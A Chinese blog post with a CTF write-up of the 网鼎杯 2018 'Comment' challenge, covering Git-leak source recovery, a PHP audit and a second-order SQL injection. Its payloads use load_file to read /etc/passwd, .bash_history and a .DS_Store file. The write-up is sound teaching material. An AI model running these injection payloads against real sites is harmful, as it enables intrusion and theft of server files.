[网鼎杯 2018]Comment

花了挺多时间的一题,学到了很多,很有必要详细记录一下

打开环境,发现是个留言板,想要发贴,需要先登入

zhangwei

zhangwei666

很明显的提示,直接猜中

看着留言板,第一感觉是sql注入 ,一直在找注入点,没找到。后知后觉,还没扫源码
扫下源码 Git泄露,Githacker 恢复下,不过审计后发现代码不完整

git log --reflog
git reset --hard xxx

用以上两个命令,得到完整代码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

代码还是比较容易理解的,其实审了好久

分为两块内容

  1. write

    category 、content 、bo_id 经过 addslashes 转义后写入到数据库的 board 表中

  2. comment

    将 category 、content 、bo_id 写入到数据库的 comment 表中,不过在这一模块中只有 content 、bo_id是经过 addslashes 转义 的,而 category 则是从数据库的board表中读取我们在 write 模块中输入的内容,并没有经过 addslashes 转义

通过审计可以发现存在二次注入

因为comment模块的 category 是我们在write模块写入的内容,而comment 却只显示 content 内容 (要注意虽然category 是经过 addslashes 转义后写入数据库的,但是取出时是没有被转义的,即没有反斜杠的),我们正是利用这一点进行的二次注入,

write模块:title=1&category=',content=(select load_file('/etc/passwd')),/*&content=111
comment模块: $sql = "insert into comment
                set category = '',content=(select load_file('/etc/passwd')),/*',
                content = '*/#',
                bo_id = '$bo_id'";

注入原理如上 /**/是多行注释符 , # 是单行注释符

在提交留言的时候,提交*/#,这样就成功闭合了,而且将回显的内容放到了content(这里的content是 我们在write模块中写入的category中的content )里,实现了注入。

经过漫长的爆库、报表、爆字段,结果发现flag不在数据库里...正确做法如下:

1.读取一下/etx/passwd payload: ',content=(select load_file('/etc/passwd')),/* 得到了www的用户目录。

www:x:500:500:www:/home/www:/bin/bash

我们可以看到 www用户可以登录bash,www为普通用户,家目录为/home/www

  1. .bash_history文件保存了当前用户使用过的历史命令。我们读取下这个文件 payload :‘,content=(select load_file(‘//home/www/.bash_history’)),/* 看用户的命令记录
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

首先是cd到了/tmp/目录,然后unzip了html.zip,然后又把这个.zip文件删除了。然后又把解压得到的html这个文件夹复制到了/var/www/下面,然后又cd到了/var/www/html下,将.DS_Store给删除,然后开启apache2服务。

(这里删除的是/var/www/html下的.DS_Store,而/tmp/html下的.DS_Store没有被删除)

3.读取 /tmp/html下的.DS_Store 。payload: ', content=(select load_file('/tmp/html/.DS_Store')),/*

这里的话,又是一个知识点,按照上面这个payload我们发现是没有回显的,这个时候我们需要进行hex编码

  1. payload:', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

发现文件 flag_8946e1ff1ee3e40f.php

5.这里又是一个坑,我们要读取这个文件不能在/tmp目录下,而是要回到/var/www/html

最终payload :', content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

最后一个坑,查看源码获得flag

posted @ 2021-01-20 00:22  NPFS  阅读(536)  评论(0编辑  收藏  举报